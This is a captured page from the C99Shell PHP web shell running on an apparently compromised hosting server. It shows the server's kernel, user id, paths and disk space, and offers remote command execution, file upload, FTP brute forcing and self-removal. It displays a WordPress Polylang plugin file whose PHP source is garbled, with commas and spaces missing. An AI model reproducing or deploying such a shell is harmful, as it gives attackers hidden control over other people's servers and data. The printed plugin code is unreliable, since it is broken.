!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/include/   drwxr-xr-x
Free 180.65 GB of 490.84 GB (36.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     walker-dropdown.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * displays languages in a dropdown list
 *
 * @since 1.2
 */
class PLL_Walker_Dropdown extends Walker {
    var 
$db_fields = array( 'parent' => 'parent''id' => 'id' );

    
/**
     * outputs one element
     *
     * @since 1.2
     *
     * @see Walker::start_el
     */
    
function start_el( &$output$element$depth 0$args = array(), $current_object_id ) {
        
$value $args['value'];
        
$output .= sprintf(
            
"\t".'<option value="%1$s"%2$s%3$s>%4$s</option>'."\n",
            
esc_attr$element->$value ),
            empty( 
$element->locale ) ? '' sprintf' lang="%s"'esc_attr$element->locale ) ),
            isset( 
$args['selected'] ) && $args['selected'] === $element->$value ' selected="selected"' '',
            
esc_html$element->name )
        );
    }

    
/**
     * overrides Walker::display_element as expects an object with a parent property
     *
     * @since 1.2
     *
     * @see Walker::display_element
     */
    
function display_element$element, &$children_elements$max_depth$depth 0$args, &$output ) {
        
$element = (object) $element// make sure we have an object
        
$element->parent $element->id 0// don't care about this
        
parent::display_element$element$children_elements$max_depth$depth$args$output );
    }

    
/**
     * starts the output of the dropdown list
     *
     * @since 1.2
     *
     * list of parameters accepted in $args:
     *
     * flag     => display the selected language flag in front of the dropdown if set to 1, defaults to 0
     * value    => the language field to use as value attribute, defaults to 'slug'
     * selected => the selected value, mandatory
     * name     => the select name attribute, defaults to 'lang_choice'
     * id       => the select id attribute, defaults to $args['name']
     * class    => the class attribute
     * disabled => disables the dropdown if set to 1
     *
     * @param array $elements elements to display
     * @param array $args
     * @return string
     */
    
function walk$elements$args = array() ) {
        
$output '';
        
$args wp_parse_args$args,  array( 'value' => 'slug''name' => 'lang_choice' ) );

        if ( ! empty( 
$args['flag'] ) ) {
            
$current wp_list_filter$elements, array( $args['value'] => $args['selected'] ) );
            
$lang reset$current );
            
$output sprintf(
                
'<span class="pll-select-flag">%s</span>',
                empty( 
$lang->flag ) ? esc_html$lang->slug ) : $lang->flag
            
);
        }

        
$output .= sprintf(
            
'<select name="%1$s"%2$s%3$s%4$s>' "\n" '%5$s' "\n" '</select>'."\n",
            
$name esc_attr$args['name'] ),
            isset( 
$args['id'] ) && ! $args['id'] ? '' ' id="' . ( empty( $args['id'] ) ? $name esc_attr$args['id'] ) ) . '"',
            empty( 
$args['class'] ) ? '' ' class="' esc_attr$args['class'] ) . '"',
            empty( 
$args['disabled'] ) ? '' ' disabled="disabled"',
            
parent::walk$elements, -1$args )
        );

        return 
$output;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0083 ]--